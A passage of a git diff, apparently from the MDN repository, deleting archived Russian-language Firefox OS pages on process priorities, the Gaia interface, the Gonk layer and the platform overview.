<td><code>FOREGROUND_HIGH</code></td> - <td>0</td> - <td>critical applications holding the <code>cpu</code> or <code>highpriority</code> wakelock, this is currently reserved for the clock and communications applications</td> - </tr> - <tr> - </tr> - <tr> - <td><code>FOREGROUND</code></td> - <td>1</td> - <td>foreground applications</td> - </tr> - <tr> - <td><code>FOREGROUND_KEYBOARD</code></td> - <td>1</td> - <td>keyboard application</td> - </tr> - <tr> - <td><code>BACKGROUND_PERCEIVABLE</code></td> - <td>7</td> - <td>background applications playing audio or holding the holding the <code>cpu</code> or <code>highpriority</code> wakelock and having at least a system message handler registered</td> - </tr> - <tr> - <td><code>BACKGROUND_HOMESCREEN</code></td> - <td>18</td> - <td>homescreen application</td> - </tr> - <tr> - <td><code>BACKGROUND</code></td> - <td>18</td> - <td>all other applications running in the background</td> - </tr> - </tbody> -</table> - -<p>Some levels share the same nice values, that's because those levels currently differ in the way they're treated by the out of memory killer. All priorities can be adjusted at build time via preferences; the relevant entries can be found in the <a href="http://hg.mozilla.org/mozilla-central/file/54e8c6492dc4/b2g/app/b2g.js#l610"><code>b2g/app/b2g.js</code></a> file.</p> - -<div class="note"> -<p><strong>Note</strong>: for more information on the out-of-memory killer, and how Firefox OS manages low memory situations, read <a href="/en-US/Firefox_OS/Platform/Out_of_memory_management_on_Firefox_OS">Out of memory management on Firefox OS</a>.</p> -</div> - -<p>Within a process the main thread inherits the nice value of the process whilst web worker threads are given a nice value that is one point higher than the main thread thus running at lower priority. This is done in order to prevent CPU-intensive workers from excessively slowing down the main thread. Processes priorities are changed whenever a major event happens such as an application is sent into the background or foreground, a new application is started up or an existing application grabs a CPU wakelock. Whenever a process priority is adjusted all its threads' priorities will also be adjusted accordingly.</p> - -<div class="note"> -<p><strong>Note:</strong> cgroups are not currently used for resource management as they've proven unreliable on certain devices and kernels.</p> -</div> - -<p> </p> diff --git a/files/ru/archive/b2g_os/platform/gaia/index.html b/files/ru/archive/b2g_os/platform/gaia/index.html deleted file mode 100644 index e1297afcee..0000000000 --- a/files/ru/archive/b2g_os/platform/gaia/index.html +++ /dev/null @@ -1,82 +0,0 @@ ---- -title: Gaia -slug: Archive/B2G_OS/Platform/Gaia -tags: - - B2G - - Firefox OS - - Gaia - - Landing - - Mobile -translation_of: Archive/B2G_OS/Platform/Gaia ---- -<p>Gaia is the user interface level of <a href="/en-US/docs/Archive/B2G_OS">B2G OS</a>. Everything that appears on the screen after B2G OS starts up is drawn by Gaia, including the lock screen, home screen, dialer, and other applications. Gaia is written entirely in <a href="/en-US/docs/Web/HTML">HTML</a>, <a href="/en-US/docs/Web/CSS">CSS</a>, and <a href="/en-US/docs/Web/JavaScript">JavaScript</a>. Its only interface to the underlying operating system and hardware is through standard Web APIs, which are implemented by <a href="/en-US/docs/Mozilla/Gecko">Gecko</a>.</p> - -<p>Because of this design, not only can Gaia be run on B2G OS devices, but also on other operating systems and in other web browsers (Albeit with potentially degraded functionality depending on the capabilities of the browser).</p> - -<p>Third party applications onto the device installed alongside Gaia can be launched by Gaia.</p> - -<div class="topicpage-table"> -<div class="section"> -<h2 class="Documentation" id="Documentation" name="Documentation">Documentation about Gaia</h2> - -<dl> - <dt><a href="/en-US/docs/Archive/B2G_OS/Platform/Gaia/Introduction_to_Gaia">Introduction to Gaia</a></dt> - <dd>Gaia is the user interface application for B2G OS devices; it's simply a Web application running atop the B2G OS software stack. This guide introduces Gaia at a high level.</dd> - <dt><a href="/en-US/docs/Archive/B2G_OS/Platform/Gaia/Gaia_apps">Gaia apps</a></dt> - <dd>Information on each of the default apps available in the Gaia family, including tips on how to use them, and how to modify them.</dd> - <dt><a href="/en-US/docs/Archive/B2G_OS/Developing_Gaia">Developing Gaia</a></dt> - <dd>A detailed guide to hacking and modifying the Gaia interface, and contributing to the Gaia project.</dd> -</dl> - -<p><span class="alllinks"><a href="/en-US/docs/tag/Gaia">View All...</a></span></p> -</div> - -<div class="section"> -<h2 class="Related_Topics" id="Related_Topics" name="Related_Topics">Related topics</h2> - -<ul> - <li><a href="/en-US/docs/Mozilla/Mobile">Mobile</a></li> - <li><a href="/en-US/docs/Web">Web Technology for developer</a> - <ul> - <li><a href="/en-US/docs/Web/HTML">HTML</a></li> - <li><a href="/en-US/docs/Web/CSS">CSS</a></li> - <li><a href="/en-US/docs/Web/JavaScript">JavaScript</a></li> - </ul> - </li> - <li><a href="/en-US/docs/WebAPI">WebAPI</a></li> -</ul> - -<h2 class="Tools" id="Resources" name="Resources">Resources</h2> - -<ul> - <li><a href="/en-US/docs/Archive/B2G_OS/Architecture">B2G OS Architecture Overview</a></li> -</ul> -</div> -</div> - -<div class="blockIndicator communitybox" dir="ltr"> -<div class="column-container"> -<h2 id="Join_the_Gaia_community">Join the Gaia community</h2> - -<div class="column-half"> -<div class="communitysubhead">Choose your preferred method for joining the discussion:</div> - -<ul class="communitymailinglist"> - <li><a href="https://lists.mozilla.org/listinfo/dev-gaia">Mailing list</a></li> - <li><a href="https://twitter.com/Boot2Gecko">Twitter</a></li> - <li><a href="http://stackoverflow.com/questions/tagged/firefox-os">Stack Overflow</a></li> - <li><a href="http://groups.google.com/group/mozilla.dev.gaia">Newsgroup</a></li> - <li><a href="http://groups.google.com/group/mozilla.dev.gaia/feeds">RSS feed</a></li> -</ul> -</div> - -<div class="column-half"> -<ul class="communitycontact"> - <li><strong>IRC: </strong><a href="irc://irc.mozilla.org/gaia">#gaia</a> <span class="smaller">(<a href="https://wiki.mozilla.org/IRC">learn more</a>)</span></li> - <li><strong>GitHub: </strong><a href="https://github.com/mozilla-b2g/gaia" title="The Gaia GitHub page">The Gaia GitHub page</a></li> -</ul> -</div> -</div> -</div> - -<div class="hidden">{{IncludeSubnav("/en-US/docs/Archive/B2G_OS")}}</div> diff --git a/files/ru/archive/b2g_os/platform/gaia/введение_в_gaia/index.html b/files/ru/archive/b2g_os/platform/gaia/введение_в_gaia/index.html deleted file mode 100644 index 6ee433f2eb..0000000000 --- a/files/ru/archive/b2g_os/platform/gaia/введение_в_gaia/index.html +++ /dev/null @@ -1,55 +0,0 @@ ---- -title: Введение в Gaia -slug: Archive/B2G_OS/Platform/Gaia/Введение_в_Gaia -tags: - - Apps - - B2G - - Settings -translation_of: Archive/B2G_OS/Platform/Gaia/Introduction_to_Gaia ---- -<div class="summary"> -<p><span id="result_box" lang="ru">Gaia <span class="hps">являет собой</span> <span class="hps">пользовательский интерфейс для</span> <span class="hps">загрузки в </span><span class="hps">Gecko</span> <span class="atn hps">(</span><span>B2G</span><span>)</span><span>;</span> <span class="hps">это</span> <span class="hps">набор</span> <span class="hps">веб-приложений чтобы</span> <span class="hps">работать</span> <span class="hps">локально</span> <span class="hps">на</span> <span class="hps">B2G</span><span> устройстве,</span> <span class="hps">эмуляторе</span><span>,</span> <span class="hps">пользовательской сборке</span><span class="hps">,</span> <span class="hps">или</span> <span class="hps">Firefox</span> <span class="hps">сборке.</span> <span class="hps">Все, что </span><span class="hps">нужно</span> <span class="hps">знать о</span><span class="hps"> добавленых</span> <span class="hps">приложениях</span> <span class="hps">или</span> <span class="hps">внесении в них изменений</span> используя <span class="hps">Gaia, с помощью</span> <span class="hps">веб-технологии</span><span>, таких как</span> <span class="hps">JavaScript</span><span>, HTML,</span> <span class="hps">и CSS</span><span>.</span></span></p> -</div> - -<h2 id="Блокировка_Gaia">Блокировка Gaia</h2> - -<p><span id="result_box" lang="ru"><span class="hps">Блокировка экрана</span> <span class="hps">показывает</span> <span class="hps">сетевой</span> <span class="hps">носитель,</span> <span class="hps">текущее время</span> <span class="hps">и дату</span><span>,</span> <span class="hps">и</span> <span class="hps">ползунок</span><span>, позволяющий пользователю</span><span>, разблокировать телефон</span> <span class="hps">или</span> <span class="hps">перейти</span> <span class="hps">прямо к камере</span><span>, чтобы сделать снимок</span><span>.</span> <span class="hps">Если пользователь</span> <span class="hps">получил</span> <span class="hps">набор</span> <span class="hps">блокировки</span> <span class="hps">паролем,</span> <span class="hps">блокировка экрана</span> <span class="hps">будет</span> <span class="hps">также</span> <span class="hps">показать</span> <span class="hps">интерфейс</span> <span class="hps">ввода</span> <span class="hps">пароля</span><span>.</span></span></p> - -<p><img alt="" src="https://mdn.mozillademos.org/files/7611/gaia-lockscreen.png" style="display: block; height: 480px; margin: 0px auto; width: 320px;"></p> - -<p><span id="result_box" lang="ru"><span class="hps">Обратите внимание, что</span> <span class="hps">на некоторых устройствах</span> <span class="hps">код доступа</span> <span class="hps">по умолчанию может быт бявключен</span><span>;</span> <span class="hps">в этих случаях</span> <span class="hps">PIN-код</span> <span class="hps">по умолчанию</span><span>, чтобы разблокировать</span> <span class="hps">устройство</span> <span class="hps">"0000</span><span>"</span><span>.</span> <span class="hps">Это</span><span>, скорее всего,</span> <span class="hps">будет меняться с течением</span> <span class="hps">времени, как</span> <span class="hps">эта функция</span> <span class="hps">конкретизированы</span><span>.</span></span></p> - -<h2 id="Интерфейс_Gaia_по_умолчанию"><span class="short_text" id="result_box" lang="ru"><span class="hps">Интерфейс</span> <span class="hps">Gaia</span> <span class="hps">по умолчанию</span></span></h2> - -<div id="gt-src-tools"> -<div id="gt-src-tools-l"> </div> -</div> - -<div id="gt-input-tool" style="display: inline-block;"> -<div id="itamenu"> </div> -</div> - -<div class="g-unit" id="gt-src-c"> -<div id="gt-src-p"> -<div id="gt-src-wrap"> -<div id="gt-src-tools"> -<div id="tts_button"><span id="result_box" lang="ru"><span class="hps">По умолчанию интерфейс</span> <span class="hps">в</span> <span class="hps">Gaia</span><span>,</span> <span class="hps">как показано здесь</span><span>, очень</span> <span class="hps">похож на</span> <span class="hps">те, что</span> <span class="hps">вы видите</span> <span class="hps">на большинстве</span> <span class="hps">типичных</span> <span class="hps">смартфонов</span><span>.</span></span></div> -</div> -</div> -</div> -</div> - -<p><img alt="" src="https://mdn.mozillademos.org/files/7613/device-2013-01-24-163623.png" style="display: block; height: 480px; margin: 0px auto; width: 320px;"></p> - -<p><span id="result_box" lang="ru"><span class="hps">Это скриншот</span> <span class="hps">прошлой</span><span class="hps"> версии</span> <span class="hps">операционной системы</span><span>,</span> <span class="hps">с</span> <span class="hps">заполнеными</span> <span class="hps">иконок</span>ами <span class="hps">(и</span> <span class="hps">некоторыми</span> <span class="hps">тестовыми приложениями</span><span>)</span><span>.</span> <span class="hps">В строке состояния</span><span class="hps"> вверху указан операторт сети</span> <span class="atn hps">(или "</span><span>Нет</span> <span class="hps">SIM-карты</span><span>"</span> <span class="hps">для устройства</span> <span class="hps">без каких-либо</span> <span class="hps">сети</span><span>)</span><span>, уровень сигнала</span><span class="hps">,</span> <span class="hps">Wi-Fi</span> <span class="hps">сигнал</span><span>,</span> <span class="hps">уровень заряда батареи</span><span>,</span> <span class="hps">и</span> <span class="hps">текущее время</span><span>.</span></span></p> - -<p><span id="result_box" lang="ru"><span class="hps">В центральной области</span> <span class="hps">дисплея</span> <span class="hps">отображаются значки</span> <span class="hps">приложений</span><span>;</span> <span class="hps">листайте</span> <span class="hps">в лево и право</span> <span class="hps">переходя на другте страницы</span><span>.</span> <span class="hps">Вы</span> <span class="hps">можете узнать больше о</span> <span class="hps">недостатках собранных</span> <span class="hps">приложений</span><span> поставляемых с</span> <span class="hps">Gaia</span> <span class="hps">посетив нашу</span></span> <a href="/en-US/Firefox_OS/Platform/Gaia/Gaia_apps">Gaia apps</a> страницу.</p> - -<p><span id="result_box" lang="ru"><span class="hps">В нижней</span> <span class="hps">части экрана находится</span> <span class="hps">блок вмещающий</span><span class="hps"> до</span> <span class="hps">семи</span> <span class="hps">ваших</span> <span class="hps">наиболее часто</span> <span class="hps">используемых приложений.</span> <span class="hps">Вы</span> <span class="hps">можете перетащить и поместить</span> <span class="hps">приложения</span> <span class="hps">в блок</span></span><span lang="ru"> <span class="hps">из</span> <span class="hps">средней зоны</span><span>.</span></span></p> - -<h2 id="Смотрите_также" style=""><span class="short_text" id="result_box" lang="ru"><span class="hps">Смотрите также</span></span></h2> - -<ul> - <li><a href="/en-US/Firefox_OS/Platform/Gaia/Gaia_apps">Gaia apps</a>: <span id="result_box" lang="ru"><span class="hps">Эта страница</span> <span class="hps">включает в себя</span> <span class="hps">дополнительную информацию о</span> <span class="hps">каждом</span> <span class="hps">приложении</span><span>,</span> <span class="hps">например</span><span>, как</span> <span class="hps">их использовать,</span> <span class="hps">и как</span> <span class="hps">изменить</span> <span class="hps">их</span><span>.</span></span></li> - <li><a href="/en-US/Firefox_OS/Debugging/Developer_settings">Developer settings</a>: <span id="result_box" lang="ru"><span class="hps">Объяснение</span> <span class="hps">различных</span> <span class="hps">настроек</span> <span class="hps">разработчиков</span><span>, которые можно включить</span> <span class="hps">через</span> <span class="hps">настройки приложения</span> <span class="hps">Gaia</span><span>.</span></span></li> -</ul> diff --git a/files/ru/archive/b2g_os/platform/gonk/index.html b/files/ru/archive/b2g_os/platform/gonk/index.html deleted file mode 100644 index 380eb5d8b5..0000000000 --- a/files/ru/archive/b2g_os/platform/gonk/index.html +++ /dev/null @@ -1,103 +0,0 @@ ---- -title: Gonk -slug: Archive/B2G_OS/Platform/Gonk -translation_of: Archive/B2G_OS/Platform/Gonk ---- -<div class="summary"> -<p>Gonk это низкоуровневый слой платформы <a href="/en-US/docs/Mozilla/Firefox_OS" title="/en-US/docs/Mozilla/Firefox_OS">Firefox OS</a>, состоящий из ядра Linux на базе <a class="external" href="http://source.android.com/">Android Open Source Project</a> (AOSP) и cлоя абстрагирования от аппаратных средств (HAL). <span id="result_box" lang="ru"><span class="alt-edited hps">Цель данной статьи</span> <span class="hps">объяснить, что</span> <span class="hps">представляет собой</span> <span class="hps">Gonk</span><span>.</span> <span class="hps">Подробнее об</span> <span class="hps">общей архитектуре</span> <span class="hps">Firefox</span> <span class="hps">OS</span> <span class="hps">и как </span><span class="hps">Gonk в неё</span> <span class="hps">вписывается</span><span class="hps">,</span> написано в</span> руководстве <a href="/en-US/Firefox_OS/Platform/Architecture">Firefox OS architecture</a>.</p> -</div> - -<h2 id="Описание_Gonk">Описание Gonk</h2> - -<p>Gonk это компонент уровня ядра в стэке Firefox OS который служит интерфейсом между Gecko и аппаратным обеспечением. Gonk контроллирует аппаратное обеспечение и предоставляет доступ к нему различным Web API встроенным в Gecko. Gonk можно рассматривать как "черный ящик" который, обрабатывая запросы, "за кулисами" делает всю комплексную, детализированную работу по управлению мобильным устройством на аппаратном уровне.</p> - -<p>Gonk это простой дистрибутив Linux включающий в себя компоненты из Android (такие как GPS и Камера) и расширенный Mozilla стандартными open source проектами такими как libusb, bluez и так далее, чтобы интегрировать со всеми слоями в архитектуре Firefox OS. Такая структура позволяет OEM производителям проще портировать программные компоненты из других реализаций Android (драйверы устройств, микропрограммы(firmware), service-level демоны и т.д.) для развертывания на смартфонах Firefox OS.</p> - -<p>Gonk это слой портируемый на устройства: адаптер между аппаратурой и Gecko. Gonk относительно простой дистрибутив Linux который можно рассматривать как разновидность Порта Gecko в паре со слоями портирования Gecko — тоесть Gonk это объект(цель) для портирования по отношению к <a href="/en-US/docs/Gecko">Gecko</a>, как например есть порты Gecko для OS X, Windows, and Android.</p> - -<div class="note"> -<p><strong>Note</strong>: Поскольку различные устройства могут отличатся по набору микросхем и другим аппаратным особенностям, устройства могу содержать разные дистибутивы Gonk.</p> -</div> - -<p>Поскольку проект Firefox OS имеет полный контроль над Gonk, мы можем реализовывать интерфейсы для Gecko которые не могут быть реализованы в других операционных системах. Например под Gonk у Gecko есть прямой доступ к полному стеку телефонии и фрейм-буфферу дисплея.</p> - -<h2 id="Архитектура_Gonk">Архитектура Gonk</h2> - -<p>Каждая модель мобильного телефона имеет специальную комбинацию компонентов Gonk на основе системных библиотек, драйверов и микропрограмм необходимых для работы устройства. Эти компоненты выпускаются OEM/ODM-производителями и производителями наборов микосхем. На следующей схеме показан пример реализации Gonk:</p> - -<p><img alt="" src="https://mdn.mozillademos.org/files/9489/gonk-architecture.png" style="display: block; height: 329px; margin: 0px auto; width: 987px;"></p> - -<p><span id="result_box" lang="ru"><span class="hps">Этот пример</span> <span class="hps">показывает</span> <span class="hps">следующие основные компоненты</span> <span class="atn hps">(</span><span>которые представляют</span> <span class="hps">только часть</span> <span class="hps">из возможных</span> <span class="hps">компонентов в</span> <span class="hps">каждой</span> <span class="hps">конкретной реализации</span> <span class="hps">Gonk</span><span>)</span><span>:</span></span></p> - -<ul> - <li><strong>Ядро ОС Linux</strong>: Использует библиотеки из Android (GPS, камера, т.д.) и другие open-source проекты (Linux, libusb, bluez, and so on).</li> - <li><strong>Radio Interface Layer (RIL)</strong>: Взаимодействует с аппаратурой модема (телефония) в смартфоне. Состоит из двух компонентов: - <ul> - <li><strong>rild daemon</strong>: Общается с прошивкой модема.</li> - <li><strong>rilProxy</strong>: Пересылает сообщения между rild и b2g процессом.</li> - </ul> - </li> - <li><strong>mediaserver process</strong>: Управляет воспроизведением аудио и видео. Gecko взаимодействует с медиа-сервером через Android RPC.</li> - <li><strong>netd process</strong>: <span id="result_box" lang="ru"><span class="hps">Сетевой</span> <span class="hps">демон, который</span> <span class="hps">взаимодействует непосредственно с</span> <span class="hps">сетевыми интерфейсами</span> <span class="hps">(WiFi)</span> на аппаратном уровне<span class="hps">.</span></span></li> - <li><strong>Bluetooth, т.п.</strong>: Bluetooth и другие service-level демоны обеспечивают доступ к аппаратным ресурсам.</li> -</ul> - -<p>Gonk также запускает, обслуживает и останавливает B2B процесс, являющийся слоем Gecko в Firefox OS. B2G процесс выступает в качестве клиента для service-level демонов в Gonk, которые взаимодействуют непосредственно с аппаратным обеспечением и предоставляют Gecko аппаратную функциональность телефона. Gecko общается с этими демонами через межпроцессное взаимодействие (IPC). Эти компоненты совместно обменивают команды и протоколы для запроса и предоставления сервисов.</p> - -<div class="note"> -<p><strong>Note</strong>: Чтобы узнать больше о архитектуре Gonk, смотри <a href="/en-US/Firefox_OS/Platform/Architecture">Руководство по архитектуре Firefox OS</a>.</p> -</div> - -<h2 id="Портирование_Gonk">Портирование Gonk</h2> - -<p>Поскольку Firefox OS базируется на ядре Android, существующие драверы, прошивка, service демоны, и другие компоненты могут быть портированы для работы с Firefox OS, Как правило с минимальными усилиями. Если необходим особый компонент (например нестандартный RIL или новый демон), или требуется внести изменения в эталонный дизайн ODM-производителя, возможно потребуется произвести дополнительную интеграцию и тестирование.</p> - -<p>В b2g, клиенты взаимодействуют с service-level демонами через межпроцессное взаимодействие (IPC). Клиенты инициируют соединение через сокет к service-level демону, отправляет запрос (используя протокол запросов сервера) через это соединение, принимает ответ и закрывает соединение. <span id="result_box" lang="ru"><span class="hps">OEM-производители</span> <span class="alt-edited hps">ответственны</span> <span class="hps">за разработку и реализацию</span> <span class="hps">этого</span> </span>межпроцессного взаимодействия<span lang="ru"> <span class="hps">между клиентами</span> <span class="hps">и серверами</span><span>.</span></span></p> - -<div class="note"> -<p><strong>Note</strong>: Чтобы узнать больше о том как производится портирование, смотри <a href="/en-US/Firefox_OS/Developing_Firefox_OS/Porting">Портирование Firefox OS</a>.</p> -</div> - -<h3 id="Как_Mozilla_работает_над_портами_Gonk_с_OEM_и_производителями_телефонов">Как Mozilla работает над портами Gonk с OEM и производителями телефонов</h3> - -<p><span id="result_box" lang="ru"><span class="hps">Каждая реализация</span> <span class="hps">Gonk</span> <span class="hps">является результатом</span> <span class="hps">сотрудничества между</span> <span class="hps">Mozilla</span><span>,</span> OEM-<span class="hps">производителями</span> <span class="hps">и</span> <span class="hps">сопутсвующими</span> <span class="atn hps">производителями (</span><span class="atn">ODM-</span><span>производителями, производителями</span></span><span lang="ru"> <span class="hps">чипсетов</span><span>)</span><span>.</span></span></p> - -<p>Mozilla предоставляет репозитарии с исходным кодом и осуществляет поддержку файлов Gonk в дистрибутивах Firefox OS. Репозитарии с исходным кодом включают базовое ядро Linux (с незначительными изменениями) и хуки (hooks) в Gecko.</p> - -<p><span id="result_box" lang="ru">OEM-<span class="hps">производители</span></span> в свою очередь ответственны за сборку, компиляцию, тестирование, сертификацию и распространение системного образа Firefox OS для конкретной модели устройства. Для Gonk в рамках системного образа, <span id="result_box" lang="ru">OEM-<span class="hps">производители</span></span> <span id="result_box" lang="ru"><span class="alt-edited hps">ответственны</span> <span class="hps">за большую часть</span> <span class="hps">усилий</span> <span class="hps">по обеспечению</span> <span class="hps">интеграции</span> <span class="hps">между вызовами</span> <span class="hps">Web API</span> <span class="hps">и</span> <span class="hps">аппаратным обеспечением телефона.</span></span> Тип и объем необходимых усилий сильно зависит от особенностей набора микросхем и других аппаратных компонентов используемых в телефоне.</p> - -<h3 id="Компоненты_устройства">Компоненты устройства</h3> - -<p>OEM-производители сотрудничают с производителями наборов микросхем и ODM-производителями чтобы обеспечить все, специфические для конкретной аппаратуры, компоненты, необходимые для функционирования мобильного устройства. Например производитель Wi-Fi обеспечивает набор микросхем и сопутсвующее ПО. Компоненты могут включать:</p> - -<ul> - <li>Драйверы — Для поддержки периферии телефона, такой как модем (данные и голос), Wi-fi, Bluetooth, дисплей, камера, аудио и т.д.</li> - <li>Микрокоды — Некоторая аппаратура (сетевая карта например) может загружать свою прошивку с flash диска.</li> - <li>Service-level демоны — Для вызова и управления работой различных аппаратных компонентов. <span id="result_box" lang="ru"><span class="hps">Могут</span> <span class="hps">включать в себя</span> <span class="alt-edited hps">вспомогательные</span> <span class="hps">библиотеки</span> <span class="hps">и скрипты</span> <span class="hps">запуска.</span></span></li> -</ul> - -<h3 id="Интеграция_между_Gonk_и_Gecko">Интеграция между Gonk и Gecko</h3> - -<p>OEM-производители должны гарантировать, что аппаратные возможности мобильного устройства корректно и полностью совместимы с Web API реализованный в Gecko. Для этого необходимо осуществить:</p> - -<ul> - <li>сборку или адаптацию (в Gonk) service-level демонов, а так же все необходимые драйверы или микрокоды, необходимые для управделия аппаратурой</li> - <li>настройку или создание (in b2g) всех методов необходимых для взаимодействия с service-level демонами</li> -</ul> - -<h2 id="Исходный_код_Gonk">Исходный код Gonk</h2> - -<p>Главный <a href="https://github.com/mozilla-b2g/B2G">B2G репозитарий на Github</a> содержит официально поддерживаемые порты Gonk для различных устройств, так что можно считать его репозитарием Gonk’а. Список поддерживаемых устройств находится в <code>B2G/config.sh</code>.</p> - -<p>B2G процесс (наряду с прочим), определяемый в Gonk, можно найти на <a href="https://github.com/mozilla-b2g/gonk-misc">mozilla-b2g/gonk-misc</a>. Изменения исходного кода B2G производятся здесь.</p> - -<div class="note"> -<p><strong>Note</strong>: В <a href="https://github.com/mozilla/gecko-dev">исходном коде Gecko</a> есть директория <code>b2g/,</code> которая содержит модификацию Gecko для Gonk: она включает ядро Linux, HAL, и специфические OEM библиотеки.</p> -</div> - -<p>Большая часть ежедневной работы проделанной над Gonk заключается в портировании системы на различные платы и будте уверены, Gecko может хорошо работать на различных устройствах.</p> - -<dl> -</dl> - -<p> </p> diff --git a/files/ru/archive/b2g_os/platform/index.html b/files/ru/archive/b2g_os/platform/index.html deleted file mode 100644 index d8739c24b5..0000000000 --- a/files/ru/archive/b2g_os/platform/index.html +++ /dev/null @@ -1,82 +0,0 @@ ---- -title: Платформа Firefox OS -slug: Archive/B2G_OS/Platform -tags: - - B2G - - Firefox OS - - Landing - - NeedsTranslation - - TopicStub -translation_of: Archive/B2G_OS/Platform ---- -<div class="summary"> -<p><span class="seoSummary">Платформа Firefox OS состоит из многих компонентов. В тоже время, вы не должны понимать его архитектуру, чтобы создавать приложения работающие на Firefox OS, если вы работаете над развитие или портированием платформы - или просто любопытно - следующая документация может быть заинтересует Вас.</span></p> -</div> - -<table class="topicpage-table"> - <tbody> - <tr> - <td> - <h2 class="Documentation" id="Documentation" name="Documentation">Документация к платформе Firefox OS</h2> - - <dl> - <dt><a href="/en-US/docs/Mozilla/Firefox_OS/Platform/Architecture" title="/en-US/docs/Mozilla/Firefox_OS/Platform/Architecture">Firefox OS architecture overview</a></dt> - <dd>Обзор внутренней структуризации Firefox OS ; это в первую очередь интересно разработчикам платформы и пользователям занимающимся портированием.</dd> - <dt><a href="/en-US/docs/Mozilla/Firefox_OS/Platform/Apps_architecture" title="/en-US/docs/Mozilla/Firefox_OS/Platform/Apps_architecture">Firefox OS apps architecture</a></dt> - <dd>Обзор модели приложения на Firefox OS.</dd> - <dt><a href="/en-US/docs/Mozilla/Firefox_OS/Platform/Gaia" title="/en-US/docs/Mozilla/Firefox_OS/Platform/Gaia">Gaia</a></dt> - <dd>Документация о Gaia, пользовательский интерфейс приложений для Firefox OS устройств; это Web приложение работает поверх стока програмного обеспечения Firefox OS.</dd> - <dt><a href="/en-US/docs/Mozilla/Firefox_OS/Platform/Gonk" title="/en-US/docs/Mozilla/Firefox_OS/Platform/Gonk">Gonk</a></dt> - <dd>Документация Gonk, операционная система слоя под Gaia. Она состоит из ядра Linux и аппаратной абстракции слоя, с которыми общается Gecko.</dd> - <dt><a href="/en-US/docs/Mozilla/Gecko" title="/en-US/docs/Mozilla/Gecko">Gecko</a></dt> - <dd><span id="result_box" lang="ru"><span class="hps">Gecko</span> <span class="hps">это</span> <span class="hps">слой</span> <span class="hps">FirefoxOS, обеспечивающий</span> <span class="hps">те же </span><span class="atn hps">открытые веб </span><span>стандарты, реализуемые использованием на</span> <span class="hps">Firefox</span> <span class="hps">и</span> <span class="hps">Thunderbird</span><span>, а также</span> <span class="hps">многих других приложений</span><span>.</span></span></dd> - <dt><a href="/en-US/docs/Mozilla/Firefox_OS/Security" title="/en-US/docs/Mozilla/Firefox_OS/Security"> Security</a></dt> - <dd>Документация о безопасности в Firefox OS; это включает в себя темы о безопасности устройств с любой точки зрения: для разработчиков приложений, интеграторов устройств, и так далее.</dd> - <dt><a href="/en-US/Firefox_OS/Debugging/Out_of_memory_management_on_Firefox_OS">Out of memory management on Firefox OS</a></dt> - <dd>Эта статья объясняет, как низкий уровень памяти регулируется на Firefox OS, используя отчистку памяти и уведомление о нехватке памяти.</dd> - <dt><a href="/en-US/docs/Mozilla/Firefox_OS/Platform/Feature_support_chart" title="/en-US/docs/Mozilla/Firefox_OS/Platform/Feature_support_chart">Feature support chart</a></dt> - <dd><span id="result_box" lang="ru"><span class="hps">Схемма</span>, какие особенности <span class="hps">доступны</span><span> в каких</span> <span class="hps">типах построения</span> <span class="hps">Firefox</span> <span class="hps">OS</span><span>.</span></span></dd> - <dt><a href="/en-US/docs/Mozilla/Firefox_OS/Platform/Settings_list" title="/en-US/docs/Mozilla/Firefox_OS/Platform/Settings_list">Firefox OS settings list</a></dt> - <dd><span id="result_box" lang="ru"><span class="hps">Список</span> <span class="hps"> названий общей</span> <span class="hps">настройки</span><span>, которые могут</span> <span class="hps">быть использованы</span> <span class="hps">с</span></span> <a href="/en-US/docs/WebAPI/Settings" title="/en-US/docs/WebAPI/Settings">Settings</a> API.</dd> - </dl> - - <p><span class="alllinks"><a href="/en-US/docs/tag/B2G" title="/en-US/docs/tag/B2G">View All...</a></span></p> - </td> - <td> - <h2 class="Community" id="Community" name="Community"><span class="short_text" id="result_box" lang="ru"><span class="hps">Получение справки</span> <span class="hps">от сообщества</span></span></h2> - - <p><span id="result_box" lang="ru"><span class="hps">Если</span> <span class="hps">вы работаете с</span> <span class="hps">Firefox</span> <span class="hps">OS</span><span>,</span> <span class="hps">или</span> <span class="hps">разрабатываете приложения</span> <span class="hps">и хотели бы</span> <span class="hps">работать на</span> <span class="hps">Firefox OS</span> <span class="hps">устройств</span><span>е,</span> <span class="hps">есть</span> <span class="hps">общественные</span> <span class="hps">ресурсы, чтобы помочь</span> <span class="hps">вам</span><span>!</span></span></p> - - <ul> - <li>Обратитесь Boot to Gecko форум проекта: {{ DiscussionList("dev-b2g", "mozilla.dev.b2g") }}</li> - </ul> - - <ul> - <li>Задайте ваш вопрос на канале Mozilla's Boot to Gecko IRC: <a class="link-irc" href="irc://irc.mozilla.org/b2g" title="irc://irc.mozilla.org/b2g">#b2g</a></li> - </ul> - - <p><span class="alllinks"><a class="external" href="http://www.catb.org/~esr/faqs/smart-questions.html" title="http://www.catb.org/~esr/faqs/smart-questions.html">Don't forget about the <em>netiquette</em>...</a></span></p> - - - <h2 class="Related_Topics" id="Related_Topics" name="Related_Topics"><span class="short_text" id="result_box" lang="ru"><span class="hps">Похожие темы</span></span></h2> - - <ul> - <li><a href="/en-US/docs/Mobile" title="en-US/docs/Mobile">Mobile</a></li> - <li><a href="/en-US/docs/HTML" title="en-US/docs/HTML">HTML</a></li> - <li><a href="/en-US/docs/CSS" title="en-US/docs/CSS">CSS</a></li> - <li><a href="/en-US/docs/JavaScript" title="en-US/docs/JavaScript">JavaScript</a></li> - </ul> - - <h2 class="Tools" id="Ресурсы"><span class="short_text" id="result_box" lang="ru"><span class="hps">Ресурсы</span></span></h2> - - <ul> - <li><a class="link-https" href="https://wiki.mozilla.org/B2G/FAQ" title="B2G/FAQ">Mozilla wiki FAQ</a></li> - <li><a class="link-https" href="https://wiki.mozilla.org/B2G/Schedule_Roadmap" title="https://wiki.mozilla.org/B2G/Schedule_Roadmap">Roadmap</a></li> - <li><a href="/en-US/docs/Mozilla/Firefox_OS/Feature_support_chart" title="/en-US/docs/Mozilla/Firefox_OS/Feature_support_chart">Feature support chart</a></li> - </ul> - </td> - </tr> - </tbody> -</table> - -<p> </p> diff --git a/files/ru/archive/b2g_os/preparing_for_your_first_b2g_build/index.html b/files/ru/archive/b2g_os/preparing_for_your_first_b2g_build/index.html deleted file mode 100644 index 7b3a3b7d48..0000000000 --- a/files/ru/archive/b2g_os/preparing_for_your_first_b2g_build/index.html +++ /dev/null @@ -1,247 +0,0 @@ ---- -title: Подготовка к первой B2G сборке -slug: Archive/B2G_OS/Preparing_for_your_first_B2G_build -tags: - - B2G - - Firefox OS - - Создание Документа -translation_of: Archive/B2G_OS/Preparing_for_your_first_B2G_build ---- -<div class="summary"> -<p>Прежде 